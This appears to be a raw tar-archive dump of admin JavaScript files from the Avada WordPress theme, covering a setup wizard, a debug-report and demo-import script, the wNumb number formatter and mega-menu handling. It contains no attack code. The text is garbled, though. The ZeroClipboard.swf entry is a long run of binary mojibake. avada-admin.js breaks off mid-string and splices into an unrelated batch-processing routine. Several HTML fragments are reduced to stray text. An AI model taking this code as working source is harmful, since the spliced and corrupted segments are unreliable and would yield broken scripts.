metricValue ) ); $score.find( '.lh-gauge-arc' ).css( 'stroke-dasharray', ( 360 * metricValue / 100 ) + ', 360' ); } } ); } ); }, /** * Create the data for font family and render select field. * * @since 2.2 * @param {object} $fontFamily - The option jQuery elements. * @return {Void} */ initAfterWebfontsLoaded: function( $fontFamily ) { // eslint-disable-line no-unused-vars var self = this; if ( 'object' !== typeof this.typoSets ) { this.typoSets = {}; } this.$el.find( '.fusion-builder-font-family' ).each( function() { self.typoSets[ jQuery( this ).attr( 'data-id' ) ] = new AwbTypography( jQuery( this ), self ); } ); this.$el.on( 'change', '.input-variant', function() { self.updateVariantCount(); } ); setTimeout( function() { self.updateVariantCount(); }, 100 ); this.fontsRendered = true; }, /** * Count unique variants. * * @since 7.4 * @return {Void} */ updateVariantCount: function() { var variants = {}, variantLength = 0; this.$el.find( '.fusion-builder-font-family' ).each( function() { var $family = jQuery( this ).find( '.input-font_family' ), $variant = jQuery( this ).find( '.input-variant' ), family = $family.val(), variant = $variant.val(), search = ''; if ( null === family ) { family = $family.attr( 'data-default' ); } if ( null === variant ) { variant = $variant.attr( 'data-default' ); } // Get font name from global typo set to avoid count the same font twice. if ( 'string' === typeof family && family.startsWith( 'var(--awb-' ) ) { const typoSetKey = family.replace( 'var(--awb-', '' ).replace( ')', '' ).replace( /\s+/g, '' ).split( '-' )[ 0 ]; family = awbTypoData.data[ typoSetKey ][ 'font-family' ]; variant = awbTypoData.data[ typoSetKey ][ 'font-weight' ] + awbTypoData.data[ typoSetKey ][ 'font-style' ]; } search = family + variant; if ( 'undefined' !== typeof variants[ search ] ) { return; } variants[ search ] = true; } ); variantLength = Object.keys( variants ).length; this.$vnote.attr( 'data-count', variantLength ); this.$vcount.html( variantLength ); } }; ( function( jQuery ) { 'use strict'; jQuery( document ).ready( function() { window.awbWizard.init(); } ); }( jQuery ) ); Avada/assets/admin/js/ZeroClipboard.swf000064400000007715152342437710014070 0ustar00CWSqxڍXwGr1@(RZ4)C:VkQMDZ2d,=HxföZ{8eNI*ws|Hɬ^^>C zIyoAtuuXE#m:1H@osnȨeFat~ёᕓÎ4r̙3##'N ĐfLPtlS 4P&hZd0B-Z>@¨eݿW*YWr Ve:dXW:7#o cE'OՌEWS@:aE/2Sg Ny:jt2*X{ T镨{j߳p.)T<6oRU_&_@GݧzH?FvxM$?ƹgϞVx8a }6 >r;8WnSJ"A{z?B0 W/(!CϿ`$,;f\tv<8U,}MOc!.3U:UN2Z҂/i/E2UT\W_QFMMߧ.]s52ra[&ٔ ôM_t~86 bNB/e.ZϛEӥnE;E}eu-!x.Fnz޼oZ^;.v:Jfd[]tӞ~ֶR!o{Ʉ-VWIôsNyz{L0=h#MLLN,eg.M2촩+嫾ƫm.-;tb9zS(V]n '<07Y\Qo}H=9r">=yݾ'F`˜t܁c~ M٠LC?{wfy/@K^i.MVzsl>BOY3tgxaOnP5LÚ;A܅{xk0WBL[B8+NlY[rVlJ;9 SURz^4%1Ai*T4ԣZ:'i{_Qb,eZ`[){*WdUGAp|GSkm[kr?צGU2 fQF?M:˭YtV}%{{Ř~uVTG&gf39}FF-8UڎZ\]9Yޱ &EqS;ݪRڠu`NUw_˩&R`C'|nZSE̲3fKvd.{mdfNٰ%JI:E*O6/QyM89;G%Ŵ')l1-K j 藢yK%?Rtvt%n = vɴJBтSYC ("^P' ,.][ktMUOI!]b>L#gθS%f%$ao5ZXy_P_ËQ߹Pw\(A 5C\> \9z$$築W_k}TgjiǏ.-2 pm&'D TnP=;% e;LY;?&i6|&lu9,Ц&Y^K:lS?Qk.A93Wh3*]&|yGcgEZw^"`R&U_(ew}#6W iRs hvuU { v1P{P*{Q/4|i\PԻ;<Į_j2v8zѹɛQٙcsg;F/]W]:?a;zˋyB~*N3)"ENuź>u]/wxE۬Kv%k,D,BKk"j#!~,,ŕa9y‰'G V#b-Dj%bHI"Fv"#bDH$|DRID!>_$DH(?HKkD"xOJgI|"$>!Ob"ED$"r \ \`JA%K%em+-*bĿ1?}7 ń9L >d/2o 䯁^пԷ0hc''XVy `!Hc|F ??+Lx } 3|= d`, ĉD łyK^jHH (tF.ZbڍQ!QQje3T{1yCG0^q}IŤOB`Y(c~|H@[8"%\,+J=]Bl+ME0(snjȾā σD pJ! abXƬŽ"DRe8wn̋8Nka` <>Fb BNdv",IZs/e_e>9e &m3OR"/uvlMմZMRӮִkZ]ioԴ6pj|M7j͚P\$sQ} 1:znD3]( ݇zlN@@׵7;<ζH,$tҐPi JnU} Ƹ>/-,zC5{G{W{O}`KX2aT7Br^ʋp=/df0  76 '$1ϞE}<8G5چu_o6Bezz='7F;#ov;;䝺!.xB tn!{+[Lr7QO)ɠCc^+A1V 8/˲)dzs2y 8c#?#XO~_3P''hpk0 Ş_nw^g/_^2pXne0R0b}N_߀ !xjˤS=pXA]G"OAnXuodJ82pRRHXPmu{ts 38  3f܀xkBmV 4~ ׶>0dzg [6^i͚]\ Ζ1)8M^pi7qO)춝k8^im`gѹejb{"}=Jťa0r5pRp{ҡKG~8X{~nn8zQv&ٱvq/遧[{wH_~b/om>6>^:W5PY S?OY,0auL/ j(A aALfUC mmc[jSfcs@_=! *!F\z4R&#,7⍈{Kăiʌq񢨼s+O7\n-;B᥾e&˼ݞp '^.7ރ,tXOmX}v6ѿ`}QG.NU }q8~"/^5^@o_NQp> ->l5a:jA 73s7!_c,p_a=m󽿤CAvada/assets/admin/js/avada-admin.js000064400000103632152342437710013303 0ustar00/* global avadaAdminL10nStrings, ajaxurl, allTags, awbPrebuilts, awbSetupWizard */ /* jshint -W117 */ /* eslint no-unused-vars: off */ this.imagePreview = function() { jQuery( '.theme' ).hover( function() { jQuery( this ).find( '.screenshot-hover' ).css( 'visibility', 'visible' ); }, function() { jQuery( this ).find( '.screenshot-hover' ).css( 'visibility', 'visible' ); } ); }; // Starting the script on page load. jQuery( document ).ready( function() { var copyDebugReport; jQuery( '.help_tip' ).tipTip( { attribute: 'data-tip' } ); jQuery( 'a.help_tip' ).on( 'click', function() { return false; } ); jQuery( '.debug-report-button' ).on( 'click', function() { var report = ''; jQuery( '.avada-db-status h2:not(.avada-status-no-export), .avada-db-status table:not(.avada-status-no-export) tbody' ).each( function() { var label, theName, theValueElement, theValue, valueArray, tempLine; if ( jQuery( this ).is( 'h2' ) ) { label = jQuery( this ).data( 'export-label' ) || jQuery( this ).text(); report = report + '\n### ' + jQuery.trim( label ) + ' ###\n\n'; } else { jQuery( 'tr', jQuery( this ) ).each( function() { label = jQuery( this ).find( 'td:eq(0)' ).data( 'export-label' ) || jQuery( this ).find( 'td:eq(0)' ).text(); theName = jQuery.trim( label ).replace( /(<([^>]+)>)/ig, '' ); // Remove HTML. theValueElement = jQuery( this ).find( 'td:eq(2)' ); if ( 1 <= jQuery( theValueElement ).find( 'img' ).length ) { theValue = jQuery.trim( jQuery( theValueElement ).find( 'img' ).attr( 'alt' ) ); } else { theValue = jQuery.trim( jQuery( this ).find( 'td:eq(2)' ).text() ); } valueArray = theValue.split( ', ' ); if ( 1 < valueArray.length ) { // If value have a list of plugins ',' // Split to add new line. tempLine = ''; jQuery.each( valueArray, function( key, line ) { tempLine = tempLine + line + '\n'; } ); theValue = tempLine; } report = report + '' + theName + ': ' + theValue + '\n'; } ); } } ); try { jQuery( '.debug-report' ).slideDown(); jQuery( '.debug-report textarea' ).val( report ).focus().select(); return false; } catch ( e ) {} // eslint-disable-line no-empty return false; } ); jQuery( '#copy-for-support' ).tipTip( { attribute: 'data-tip', activation: 'click', fadeIn: 50, fadeOut: 50, delay: 100, enter: function() { copyDebugReport(); } } ); copyDebugReport = function() { jQuery( '.debug-report textarea' ).select(); document.execCommand( 'copy' ); }; } ); jQuery( document ).ready( function() { var importedLabel, tags, importedFilter, importStagesLength, removeStagesLength, demoType, disablePreview = jQuery( '.preview-all' ), importerDialog = jQuery( '#dialog-demo-confirm' ), importNotifications, prepareDemoImport, importDemo, prepareDemoRemove, removeDemo, importReport; if ( jQuery( 'body' ).hasClass( 'avada_page_avada-prebuilt-websites' ) ) { // If clicked on import data button. jQuery( '.button-install-demo' ).on( 'click', function( e ) { if ( avadaAdminL10nStrings.hasOwnProperty( demoType ) ) { importerDialog.html( avadaAdminL10nStrings[ demoType ] ); } else { importerDialog.html( avadaAdminL10nStrings[ 'default' ] ); } jQuery( '#' + importerDialog.attr( 'id' ) ).dialog( { dialogClass: 'avada-demo-dialog', resizable: false, draggable: false, height: 'auto', width: 400, modal: true, buttons: { Cancel: function() { importerDialog.html( '' ); jQuery( this ).dialog( 'close' ); }, OK: function() { prepareDemoImport(); importerDialog.html( '' ); jQuery( this ).dialog( 'close' ); } } } ); e.preventDefault(); } ); importReport = function( message, progress ) { jQuery( '#demo-modal-' + demoType + ' .awb-admin-modal-status-bar-label span' ).html( message ); jQuery( '#demo-modal-' + demoType + ' .awb-admin-modal-status-bar-progress-bar' ).css( 'width', ( 100 * progress ) + '%' ); }; importDemo = function( data ) { if ( data.importStages.length === importStagesLength ) { importReport( avadaAdminL10nStrings.currently_processing.replace( '%s', avadaAdminL10nStrings.download ), ( importStagesLength - data.importStages.length ) / importStagesLength ); } jQuery.post( ajaxurl, data, function( response ) { var importLabel; if ( 'content' === data.importStages[ 0 ] ) { jQuery.each( jQuery( '#import-' + data.demoType + ' input:checkbox[data-type=content]:checked' ), function( ) { jQuery( this ).prop( 'disabled', true ); jQuery( '#remove-' + data.demoType + ' input:checkbox[value=' + jQuery( this ).val() + ']' ).prop( 'checked', true ); } ); } else { jQuery( '#import-' + data.demoType + ' input:checkbox[value=' + data.importStages[ 0 ] + ']' ).prop( 'disabled', true ); jQuery( '#remove-' + data.demoType + ' input:checkbox[value=' + data.importStages[ 0 ] + ']' ).prop( 'checked', true ); } data.importStages.shift(); if ( ( 0 < response.indexOf( 'partially completed' ) || 0 <= response.indexOf( '{"status"' ) ) && 0 < data.importStages.length ) { if ( 'content' === data.importStages[ 0 ] ) { if ( 1 === data.contentTypes.length ) { importLabel = jQuery( 'label[for=import-' + data.contentTypes[ 0 ] + '-' + demoType + ']' ).html(); } else { importLabel = avadaAdminL10nStrings.content; } } else if ( 'general_data' === data.importStages[ 0 ] ) { importLabel = avadaAdminL10nStrings.general_data; } else if ( -1 !== data.importStages[ 0 ].indexOf( 'convertplug_' ) ) { importLabel = jQuery( 'label[for=import-convertplug-' + demoType + ']' ).html(); } else { importLabel = jQuery( 'label[for=import-' + data.importStages[ 0 ] + '-' + demoType + ']' ).html(); } importReport( avadaAdminL10nStrings.currently_processing.replace( '%s', importLabel ), ( importStagesLength - data.importStages.length ) / importStagesLength ); importDemo( data ); } else if ( -1 === response && response.indexOf( 'imported' ) ) { // eslint-disable-line no-empty } else if ( 1 < response.indexOf( avadaAdminL10nStrings.file_does_not_exist ) ) { // eslint-disable-line no-empty } else { setTimeout( function() { jQuery( '#demo-modal-' + demoType + ' input[type="checkbox"][value="uninstall"]' ).prop( 'disabled', false ); jQuery( '#demo-modal-' + demoType + ' input[type="checkbox"][value="all"]' ).prop( 'disabled', true ); jQuery( '#demo-modal-' + demoType ).removeClass( 'demo-import-in-progress' ); importReport( '', 1 ); jQuery( '#demo-modal-' + demoType + ' .button-done-demo' ).css( 'display', 'flex' ); if ( true === data.allImport ) { importedLabel.html( avadaAdminL10nStrings.full_import ); } else { importedLabel.html( avadaAdminL10nStrings.partial_import ); } importedLabel.show(); jQuery( '#theme-demo-' + demoType + ' .button-install-open-modal' ).html( avadaAdminL10nStrings.modify ); if ( -1 === tags.indexOf( 'imported' ) ) { jQuery( '#theme-demo-' + demoType ).parent().data( 'tags', tags + ',imported' ); importedFilter.data( 'count', importedFilter.data( 'count' ) + 1 ); importedFilter.children( '.count' ).html( '(' + importedFilter.data( 'count' ) + ')' ); } }, 4000 ); } } ).fail( function( xhr, textStatus, errorThrown ) { var message, dialogArgs = { dialogClass: 'avada-demo-dialog', resizable: false, draggable: false, height: 'auto', title: 'Import Failed', width: 400, modal: true, buttons: { OK: function() { importerDialog.html( '' ); jQuery( this ).dialog( 'close' ); location.reload(); } } }; if ( 'object' === typeof xhr.responseJSON && 'string' === typeof xhr.responseJSON.data ) { message = xhr.responseJSON.data; } else if ( 'Request Timeout' === errorThrown ) { message = avadaAdminL10nStrings.error_timeout; } else if ( ( 'Internal Server Error' === errorThrown || 500 === xhr.status ) && 'string' === typeof xhr.responseText ) { message = xhr.responseText; // Open default WP message link in new tab (happens when PHP max_execution time is reached). if ( -1 !== xhr.responseText.indexOf( ' totalImages ? totalImages : totalProcessed + batchSize; if ( startNum <= totalImages && endNum <= totalImages ) { $statusText.text ( $statusText.data( 'text' ) + ' ' + startNum + ' - ' + endNum + ' ' + $statusText.data( 'text-of' ) + ' ' + totalImages ); $progressBar.css( 'width', progressPercent + '%' ); } if ( ! response.data.finished ) { processBatch(); } else { $progressBar.css( 'width', '100%' ); $statusText.text( $statusText.data( 'text-total' ) + ' ' + totalProcessed ); } } else { $statusText.text( 'Error: ' + response.data ); } } ).fail( function() { $statusText.text( 'AJAX request failed.' ); } ); } processBatch(); } ); // Registration scroll to. function scrollToRegistration() { var target = jQuery( '#avada-db-registration' ), adminbarHeight = jQuery( '#wpadminbar' ).length ? jQuery( '#wpadminbar' ).height() : 0, scrollSticky = jQuery( '.avada-db-menu-sticky' ).length ? jQuery( '.avada-db-menu-sticky' ).height() : 0, newScrollPosition = target.offset().top - adminbarHeight - scrollSticky - 20; jQuery( 'html, body' ).animate( { scrollTop: newScrollPosition }, 450 ); } if ( -1 !== window.location.href.indexOf( '#_avada-db-registration' ) ) { scrollToRegistration(); } jQuery( 'a[href="#avada-db-registration"]' ).on( 'click', function( event ) { event.preventDefault(); scrollToRegistration(); } ); } ); Avada/assets/admin/js/wNumb.js000064400000020021152342437710012217 0ustar00(function(){ 'use strict'; var /** @const */ FormatOptions = [ 'decimals', 'thousand', 'mark', 'prefix', 'postfix', 'encoder', 'decoder', 'negativeBefore', 'negative', 'edit', 'undo' ]; // General // Reverse a string function strReverse ( a ) { return a.split('').reverse().join(''); } // Check if a string starts with a specified prefix. function strStartsWith ( input, match ) { return input.substring(0, match.length) === match; } // Check is a string ends in a specified postfix. function strEndsWith ( input, match ) { return input.slice(-1 * match.length) === match; } // Throw an error if formatting options are incompatible. function throwEqualError( F, a, b ) { if ( (F[a] || F[b]) && (F[a] === F[b]) ) { throw new Error(a); } } // Check if a number is finite and not NaN function isValidNumber ( input ) { return typeof input === 'number' && isFinite( input ); } // Provide rounding-accurate toFixed method. function toFixed ( value, decimals ) { var scale = Math.pow(10, decimals); return ( Math.round(value * scale) / scale).toFixed( decimals ); } // Formatting // Accept a number as input, output formatted string. function formatTo ( decimals, thousand, mark, prefix, postfix, encoder, decoder, negativeBefore, negative, edit, undo, input ) { var originalInput = input, inputIsNegative, inputPieces, inputBase, inputDecimals = '', output = ''; // Apply user encoder to the input. // Expected outcome: number. if ( encoder ) { input = encoder(input); } // Stop if no valid number was provided, the number is infinite or NaN. if ( !isValidNumber(input) ) { return false; } // Rounding away decimals might cause a value of -0 // when using very small ranges. Remove those cases. if ( decimals !== false && parseFloat(input.toFixed(decimals)) === 0 ) { input = 0; } // Formatting is done on absolute numbers, // decorated by an optional negative symbol. if ( input < 0 ) { inputIsNegative = true; input = Math.abs(input); } // Reduce the number of decimals to the specified option. if ( decimals !== false ) { input = toFixed( input, decimals ); } // Transform the number into a string, so it can be split. input = input.toString(); // Break the number on the decimal separator. if ( input.indexOf('.') !== -1 ) { inputPieces = input.split('.'); inputBase = inputPieces[0]; if ( mark ) { inputDecimals = mark + inputPieces[1]; } } else { // If it isn't split, the entire number will do. inputBase = input; } // Group numbers in sets of three. if ( thousand ) { inputBase = strReverse(inputBase).match(/.{1,3}/g); inputBase = strReverse(inputBase.join( strReverse( thousand ) )); } // If the number is negative, prefix with negation symbol. if ( inputIsNegative && negativeBefore ) { output += negativeBefore; } // Prefix the number if ( prefix ) { output += prefix; } // Normal negative option comes after the prefix. Defaults to '-'. if ( inputIsNegative && negative ) { output += negative; } // Append the actual number. output += inputBase; output += inputDecimals; // Apply the postfix. if ( postfix ) { output += postfix; } // Run the output through a user-specified post-formatter. if ( edit ) { output = edit ( output, originalInput ); } // All done. return output; } // Accept a sting as input, output decoded number. function formatFrom ( decimals, thousand, mark, prefix, postfix, encoder, decoder, negativeBefore, negative, edit, undo, input ) { var originalInput = input, inputIsNegative, output = ''; // User defined pre-decoder. Result must be a non empty string. if ( undo ) { input = undo(input); } // Test the input. Can't be empty. if ( !input || typeof input !== 'string' ) { return false; } // If the string starts with the negativeBefore value: remove it. // Remember is was there, the number is negative. if ( negativeBefore && strStartsWith(input, negativeBefore) ) { input = input.replace(negativeBefore, ''); inputIsNegative = true; } // Repeat the same procedure for the prefix. if ( prefix && strStartsWith(input, prefix) ) { input = input.replace(prefix, ''); } // And again for negative. if ( negative && strStartsWith(input, negative) ) { input = input.replace(negative, ''); inputIsNegative = true; } // Remove the postfix. // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice if ( postfix && strEndsWith(input, postfix) ) { input = input.slice(0, -1 * postfix.length); } // Remove the thousand grouping. if ( thousand ) { input = input.split(thousand).join(''); } // Set the decimal separator back to period. if ( mark ) { input = input.replace(mark, '.'); } // Prepend the negative symbol. if ( inputIsNegative ) { output += '-'; } // Add the number output += input; // Trim all non-numeric characters (allow '.' and '-'); output = output.replace(/[^0-9\.\-.]/g, ''); // The value contains no parse-able number. if ( output === '' ) { return false; } // Covert to number. output = Number(output); // Run the user-specified post-decoder. if ( decoder ) { output = decoder(output); } // Check is the output is valid, otherwise: return false. if ( !isValidNumber(output) ) { return false; } return output; } // Framework // Validate formatting options function validate ( inputOptions ) { var i, optionName, optionValue, filteredOptions = {}; for ( i = 0; i < FormatOptions.length; i+=1 ) { optionName = FormatOptions[i]; optionValue = inputOptions[optionName]; if ( optionValue === undefined ) { // Only default if negativeBefore isn't set. if ( optionName === 'negative' && !filteredOptions.negativeBefore ) { filteredOptions[optionName] = '-'; // Don't set a default for mark when 'thousand' is set. } else if ( optionName === 'mark' && filteredOptions.thousand !== '.' ) { filteredOptions[optionName] = '.'; } else { filteredOptions[optionName] = false; } // Floating points in JS are stable up to 7 decimals. } else if ( optionName === 'decimals' ) { if ( optionValue >= 0 && optionValue < 8 ) { filteredOptions[optionName] = optionValue; } else { throw new Error(optionName); } // These options, when provided, must be functions. } else if ( optionName === 'encoder' || optionName === 'decoder' || optionName === 'edit' || optionName === 'undo' ) { if ( typeof optionValue === 'function' ) { filteredOptions[optionName] = optionValue; } else { throw new Error(optionName); } // Other options are strings. } else { if ( typeof optionValue === 'string' ) { filteredOptions[optionName] = optionValue; } else { throw new Error(optionName); } } } // Some values can't be extracted from a // string if certain combinations are present. throwEqualError(filteredOptions, 'mark', 'thousand'); throwEqualError(filteredOptions, 'prefix', 'negative'); throwEqualError(filteredOptions, 'prefix', 'negativeBefore'); return filteredOptions; } // Pass all options as function arguments function passAll ( options, method, input ) { var i, args = []; // Add all options in order of FormatOptions for ( i = 0; i < FormatOptions.length; i+=1 ) { args.push(options[FormatOptions[i]]); } // Append the input, then call the method, presenting all // options as arguments. args.push(input); return method.apply('', args); } /** @constructor */ function wNumb ( options ) { if ( !(this instanceof wNumb) ) { return new wNumb ( options ); } if ( typeof options !== "object" ) { return; } options = validate(options); // Call 'formatTo' with proper arguments. this.to = function ( input ) { return passAll(options, formatTo, input); }; // Call 'formatFrom' with proper arguments. this.from = function ( input ) { return passAll(options, formatFrom, input); }; } /** @export */ window.wNumb = wNumb; }()); Avada/assets/admin/js/mega-menu.js000064400000032347152342437710013020 0ustar00/* global ajaxurl, AvadaMegaMenuVars */ /** * Handles the admin manipulation of the mega menu plugin. * * @author ThemeFusion * @copyright (c) Copyright by ThemeFusion * @link https://avada.com * @package Avada * @subpackage Core * @since 2.0.0 */ ( function() { 'use strict'; var fusionMegamenu; // New mega menu handling. jQuery( document ).ready( function() { // Add labels on load. jQuery( '.menu-item-depth-0' ).each( function() { var isMegaMenu = jQuery( this ).find( '.fusion-menu-options-container' ).find( '.edit-menu-item-megamenu-select ' ).children( 'option:selected' ).val(); if ( '0' !== isMegaMenu ) { jQuery( this ).addClass( 'awb-megamenu' ); jQuery( this ).nextUntil( '.menu-item-depth-0' ).find( '.item-title' ).append( '
    Mobile Only (Mega Menu)
    ' ); } else { jQuery( this ).removeClass( 'awb-megamenu' ); jQuery( this ).nextUntil( '.menu-item-depth-0' ).find( '.awb-mega-menu-sub-item' ).remove(); } } ); // Change labels when mega menu selection changes. jQuery( document ).on( 'change', '.edit-menu-item-megamenu-select', function() { var parentLiItem = jQuery( this ).parents( '.menu-item:eq( 0 )' ); if ( parentLiItem.hasClass( 'menu-item-depth-0' ) ) { if ( '0' !== jQuery( this ).val() ) { parentLiItem.addClass( 'awb-megamenu' ); parentLiItem.nextUntil( '.menu-item-depth-0' ).find( '.item-title' ).append( '
    Mobile Only (Mega Menu)
    ' ); } else { parentLiItem.removeClass( 'awb-megamenu' ); parentLiItem.nextUntil( '.menu-item-depth-0' ).find( '.awb-mega-menu-sub-item' ).remove(); } } } ); // Change labels depending on intendation. jQuery( 'ul#menu-to-edit.menu' ).on( 'sortstop', function( event, ui ) { setTimeout( function() { var levelZeroElement; const item = jQuery( ui.item[ 0 ] ); const itemDepth = item.menuItemDepth(); // Item is a sub-menu item now. if ( 0 !== itemDepth ) { levelZeroElement = item.prevUntil( '.menu-item-depth-0' ).last().prev(); levelZeroElement = ! levelZeroElement.length ? item.prev() : levelZeroElement; // New parent is a mega menu. if ( levelZeroElement.hasClass( 'awb-megamenu' ) ) { // Handle item itself. if ( ! item.find( '.awb-mega-menu-sub-item' ).length ) { item.find( '.item-title' ).append( '
    Mobile Only (Mega Menu)
    ' ); } // Handle its children. item.nextUntil( '.menu-item-depth-' + ( itemDepth - 1 ) ).each( function() { if ( jQuery( this ).menuItemDepth() <= itemDepth ) { return false; } if ( ! jQuery( this ).find( '.awb-mega-menu-sub-item' ).length ) { jQuery( this ).find( '.item-title' ).append( '
    Mobile Only (Mega Menu)
    ' ); } } ); } else { // New parent is not a mega menu. // Handle item itself. if ( item.find( '.awb-mega-menu-sub-item' ).length ) { item.find( '.awb-mega-menu-sub-item' ).remove(); } // Handle its children. item.nextUntil( '.menu-item-depth-' + ( itemDepth - 1 ) ).each( function() { if ( jQuery( this ).menuItemDepth() <= itemDepth ) { return false; } if ( jQuery( this ).find( '.awb-mega-menu-sub-item' ).length ) { jQuery( this ).find( '.awb-mega-menu-sub-item' ).remove(); } } ); } } else { // Item is a level 0 item now. // Handle item itself. if ( item.find( '.awb-mega-menu-sub-item' ).length ) { item.find( '.awb-mega-menu-sub-item' ).remove(); } // Handle its children. if ( item.hasClass( 'awb-megamenu' ) ) { item.nextUntil( '.menu-item-depth-' + itemDepth ).each( function() { if ( ! jQuery( this ).find( '.awb-mega-menu-sub-item' ).length ) { jQuery( this ).find( '.item-title' ).append( '
    Mobile Only (Mega Menu)
    ' ); } } ); } else { item.nextUntil( '.menu-item-depth-' + itemDepth ).each( function() { if ( jQuery( this ).find( '.awb-mega-menu-sub-item' ).length ) { jQuery( this ).find( '.awb-mega-menu-sub-item' ).remove(); } } ); } } }, 200 ); } ); } ); jQuery( document ).ready( function() { // Show or hide megamenu fields on parent and child list items. fusionMegamenu.menuItemMouseup(); fusionMegamenu.megamenuStatusUpdate(); fusionMegamenu.updateMegamenuFields(); fusionMegamenu.megamenuFullwidthUpdate(); fusionMegamenu.specialLinksStatusUpdate(); fusionMegamenu.wooCartCounterUpdate(); // Setup automatic thumbnail handling. jQuery( '#post-body' ).on( 'click', '.avada-remove-button', function() { jQuery( this ).parents( '.fusion-upload-image' ).removeClass( 'fusion-image-set' ); jQuery( this ).parents( '.fusion-upload-image' ).find( 'img' ).attr( 'src', '' ); jQuery( this ).parents( '.fusion-upload-image' ).find( '.fusion-builder-upload-field' ).val( '' ); } ); // Setup new media uploader frame. fusionMediaFrameSetup(); } ); // "Extending" wpNavMenu. fusionMegamenu = { menuItemMouseup: function() { jQuery( document ).on( 'mouseup', '.menu-item-bar', function( event ) { if ( ! jQuery( event.target ).is( 'a' ) ) { setTimeout( fusionMegamenu.updateMegamenuFields, 300 ); } } ); }, megamenuStatusUpdate: function() { jQuery( document ).on( 'click', '.edit-menu-item-megamenu-status a', function() { var parentLiItem = jQuery( this ).parents( '.menu-item:eq( 0 )' ); if ( 'enabled' === jQuery( this ).parent().find( '.button-set-value' ).val() ) { parentLiItem.addClass( 'fusion-megamenu' ); } else { parentLiItem.removeClass( 'fusion-megamenu' ); } fusionMegamenu.updateMegamenuFields(); } ); }, wooCartCounterUpdate: function() { jQuery( document ).on( 'change', '.edit-menu-item-megamenu-show-woo-cart-counter .button-set-value', function() { var parentLiItem = jQuery( this ).closest( '.menu-item' ); if ( 'yes' === jQuery( this ).val() ) { parentLiItem.addClass( 'fusion-woo-cart-counter-enabled' ); } else { parentLiItem.removeClass( 'fusion-woo-cart-counter-enabled' ); } } ); }, specialLinksStatusUpdate: function() { jQuery( document ).on( 'change', '.fusion-megamenu-special-link', function() { var parentLiItem = jQuery( this ).parents( '.menu-item:eq( 0 )' ), value = jQuery( this ).val(); parentLiItem .removeClass( 'fusion-special-link-none' ) .removeClass( 'fusion-special-link-woo-cart' ) .removeClass( 'fusion-special-link-woo-account' ) .removeClass( 'fusion-special-link-sliding-bar-toggle' ) .removeClass( 'fusion-special-link-off-canvas-toggle' ) .removeClass( 'fusion-special-link-search' ) .removeClass( 'fusion-special-link-logout' ); switch ( value ) { case 'fusion-woo-cart': parentLiItem.addClass( 'fusion-special-link-woo-cart' ); break; case 'fusion-woo-my-account': parentLiItem.addClass( 'fusion-special-link-woo-account' ); break; case 'fusion-search': parentLiItem.addClass( 'fusion-special-link-search' ); parentLiItem.addClass( 'fusion-special-link-search-' + parentLiItem.find( '.edit-menu-item-megamenu-searchform-mode input' ).val() ); break; case 'awb-user-logout': parentLiItem.addClass( 'fusion-special-link-logout' ); break; case 'fusion-sliding-bar-toggle': parentLiItem.addClass( 'fusion-special-link-sliding-bar-toggle' ); break; case 'awb-off-canvas-menu-trigger': parentLiItem.addClass( 'fusion-special-link-off-canvas-toggle' ); break; default: parentLiItem.addClass( 'fusion-special-link-none' ); break; } } ); jQuery( document ).on( 'click', '.edit-menu-item-megamenu-searchform-mode a', function() { var parentLiItem = jQuery( this ).parents( '.menu-item:eq( 0 )' ); parentLiItem .removeClass( 'fusion-special-link-search-inline' ) .removeClass( 'fusion-special-link-search-dropdown' ) .removeClass( 'fusion-special-link-search-overlay' ) .addClass( 'fusion-special-link-search-' + jQuery( this ).parent().find( 'input' ).val() ); } ); }, megamenuFullwidthUpdate: function() { jQuery( document ).on( 'click', '.edit-menu-item-megamenu-width a', function() { var parentLiItem = jQuery( this ).parents( '.menu-item:eq( 0 )' ); if ( 'fullwidth' === jQuery( this ).parent().find( '.button-set-value' ).val() ) { parentLiItem.addClass( 'fusion-megamenu-fullwidth' ); } else { parentLiItem.removeClass( 'fusion-megamenu-fullwidth' ); } fusionMegamenu.updateMegamenuFields(); } ); }, updateMegamenuFields: function() { var parentLiItem = jQuery( '.menu-item' ); parentLiItem.each( function( i ) { var megamenuStatus = jQuery( '.edit-menu-item-megamenu-status .button-set-value', this ), megamenuFullwidth = jQuery( '.edit-menu-item-megamenu-width .button-set-value', this ), checkAgainst; if ( ! jQuery( this ).is( '.menu-item-depth-0' ) ) { checkAgainst = parentLiItem.filter( ':eq(' + ( i - 1 ) + ')' ); if ( checkAgainst.is( '.fusion-megamenu' ) ) { megamenuStatus.val( 'enabled' ); jQuery( this ).addClass( 'fusion-megamenu' ); } else { megamenuStatus.val( 'off' ); jQuery( this ).removeClass( 'fusion-megamenu' ); } if ( checkAgainst.is( '.fusion-megamenu-fullwidth' ) ) { megamenuFullwidth.val( 'fullwidth' ); jQuery( this ).addClass( 'fusion-megamenu-fullwidth' ); } else { megamenuFullwidth.val( 'off' ); jQuery( this ).removeClass( 'fusion-megamenu-fullwidth' ); } } else { if ( 'enabled' === megamenuStatus.val() ) { jQuery( this ).addClass( 'fusion-megamenu' ); } if ( 'fullwidth' === megamenuFullwidth.val() ) { jQuery( this ).addClass( 'fusion-megamenu-fullwidth' ); } } } ); } }; function fusionMediaFrameSetup() { var fusionMediaFrame, itemId; jQuery( document.body ).on( 'click.fusionOpenMediaManager', '.button-upload', function( e ) { e.preventDefault(); itemId = jQuery( this ).data( 'id' ); if ( fusionMediaFrame ) { fusionMediaFrame.open(); return; } fusionMediaFrame = wp.media( { className: 'media-frame fusion-media-frame', frame: 'select', multiple: false, library: { type: 'image' } } ); wp.media.frames.fusionMediaFrame = fusionMediaFrame; fusionMediaFrame.on( 'select', function() { var mediaAttachment = fusionMediaFrame.state().get( 'selection' ).first().toJSON(); jQuery( '#edit-menu-item-megamenu-' + itemId ).val( mediaAttachment.url ); jQuery( '#edit-menu-item-megamenu-' + itemId.replace( '-', '-id-' ) ).val( mediaAttachment.id ); jQuery( '#fusion-media-img-' + itemId ).attr( 'src', mediaAttachment.url ).css( 'display', 'block' ); jQuery( '#fusion-media-img-' + itemId ).parents( '.fusion-upload-image' ).addClass( 'fusion-image-set' ); } ); fusionMediaFrame.open(); } ); } /* * Autocomplete */ jQuery( window ).click( function( event ) { // eslint-disable-line no-unused-vars jQuery( '.autocomplete-ajax-results' ).removeClass( 'show' ); } ); jQuery( document ).on( 'click', '.fusion-autocomplete-wrap', function( event ) { event.stopPropagation(); } ); jQuery( document ).on( 'change', '.autocomplete-saved-value', function( event ) { // eslint-disable-line no-unused-vars const val = this.value, search = jQuery( this ).parent().find( '.fusion-autocomplete-search' ); if ( val ) { search.addClass( 